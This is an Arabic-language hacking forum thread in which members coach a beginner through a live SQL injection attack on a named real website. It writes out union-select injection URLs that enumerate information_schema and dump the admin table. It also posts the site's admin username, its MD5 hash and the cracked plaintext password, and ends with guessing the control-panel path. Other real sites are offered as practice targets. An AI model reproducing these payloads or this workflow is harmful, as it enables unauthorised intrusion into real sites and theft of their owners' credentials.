لإخوة المتمكنين من الحقن

[MadaRaXP]

السلام عليكم ورحمة الله وبركاته
ممكن من الإخوة المتمكنين من الحقن ان يعلمني

لقد حملت العديد من الدورات لكن لا شيء لو يتكرم و يعلمني او يعلم مجموعة منا

 

[Mr-MoncéFiix]

في الحقيقة العديد من الدين يخترقـون بتغرة حقن القواعد تعلمو من هنـــا
http://www.vbspiders.com/vb/f236.html
هده الددورة راائـعـة تعلم منهـا و سوف تتعلم انشـاء الله
و أي استفسار في الدورة هــنــا
http://www.vbspiders.com/vb/f236.html

 

[MadaRaXP]

plz add me sqh@live.fr

ممكن موقع لتطبيق

 

[NeTCaT-Ma]

تفضل
http://www.beautycall.co.uk/gallery.php?id=1

 

[NeTCaT-Ma]

http://www.findmespot.com/en/index.php?cid=102

 

[KaLa$nikoV]

الشباب ما قصرو

نتمنا نشوفك مخترق

 

[ارساوي]

يلا ها

عطوك مواقع

وعطوك دورة

شو احلى من هيك

واي استفسار اطرحه

 

[MadaRaXP]

و الله قاموا بلازم ان شاء الله اتباع الدورة و اطبق على الموقع بشكل موازي و اي استفسار اضعه هنا ،،،
بوركتم

 

[MadaRaXP]

السلام عليكم انا توقفت هنا لم اعرف ماذا افعل بعد ،،،
http://www.beautycall.co.uk/gallery.php?id=-1+union+select+1,2,version()--

 

[Tn-Sn!PeR]

بداية طيبة أخي

الخطوة التالية للإصدار الخامس وهي لمعرفة إسم الجدول و عمود الباس و الجدول المخطط
http://www.beautycall.co.uk/gallery.php?id=-1+union+select+1,2,group_concat(table_name,0x3a,column_name,0x3a,table_schema)+from+information_schema.columns+where+column_name+LIKE+CHAR(37, 112, 97, 115, 115, 37)--

 

[MadaRaXP]

تفضل اخي طبقت الأمر بحت عن جدول اليوزر و الباس عبر امر where like
و وجدت التالي
phpbb_bbcodes:first_pass_match:beautycall_co_uk_forum

ما رأيك

 

[Tn-Sn!PeR]

أخي هذا ليس الجدول أين يوجد اليوزر و الباس

عند دخولك لهذا الرابط

ستجد تلك الأعمدة أعمل copier coller في النوت باد

ستجد من بين تلك الجداول هذا الجدول
adminassword:beautycall_co_uk_web

هذا هو الجدول المطلوب

 

[MadaRaXP]

ممكن مساعدة لم اعرف ماذا اختار ’؟

 

[MadaRaXP]

بوركت كنت شاك فيه
الخطأ الذي عملته هو كان في الأمر group_concat

الخطوة القادمة هي ان اشفر اسم admin و اضع الأمر where+table_name+like=0x61646d696e

 

[MadaRaXP]

بدون like
http://www.beautycall.co.uk/gallery...chema.columns+where+table_name=0x61646d696e--

اعطاني النتائج التالية

admin:id:beautycall_co_uk_web,admin:username:beautycall_co_uk_web,adminassword:beautycall_co_uk_web,admin:email:beautycall_co_uk_web

 

[Tn-Sn!PeR]

admin:id:beautycall_co_uk_web
هذا لسنا بحاجة إليه

admin:username:beaut ycall_co_uk_web
هذا مسار عمود اليوزر
admin:password:beautycall_co_uk_we b
هذا مسار الباس
admin:email:beautycall_co_uk_web
و هذا مسار اللإميل إن أردت

 

[Tn-Sn!PeR]

بعد معرفة عمود اليوزر (username) و عمود الباس (password) و الجدول (admin)

نكتب كالتالي
concat(username,0x3a,password)+from+admin--

 

[Tn-Sn!PeR]

ممتااااااااااااااااز طلع لينا إسم الأدمين إلّي هو beautycall2010

و الباسورد مشفر d68553e40237bde1465a1da5b199c072

طيب كيف سنفك تشفير الباس؟

نذهب إلى الموقع التالي http://md5cracker.org/
ضع الباس المشفر و لا تنسى حذف الفراغ إن وجد في الأخير

أنت محظوظ أخي
تم فك تشفير الكلمة

d68553e40237bde1465a1da5b199c072 = 4SweetCandy1

يعني في الآخر نجد هذا

إسم الأدمين : beautycall2010
باسوورد الأدمين : 4SweetCandy1

الأن لم يتبقّ إلاّ البحث عن مسار لوحة التحكم

 

[MadaRaXP]

بوركت لقد قمت بالكتير اخي الكريم ـ،،
عندما اعود ساحالو فهم المبدأ خطوة خطوة ،،،
اما بخصوص البحث عن لوحة التحكم
هل هناك طريقة محددة للبحث

 

[NeTCaT-Ma]

أضن أخي أن تخمنها تجرب admin أو login ...... إن كان كلامي خاطئ الملرجو تصحيحه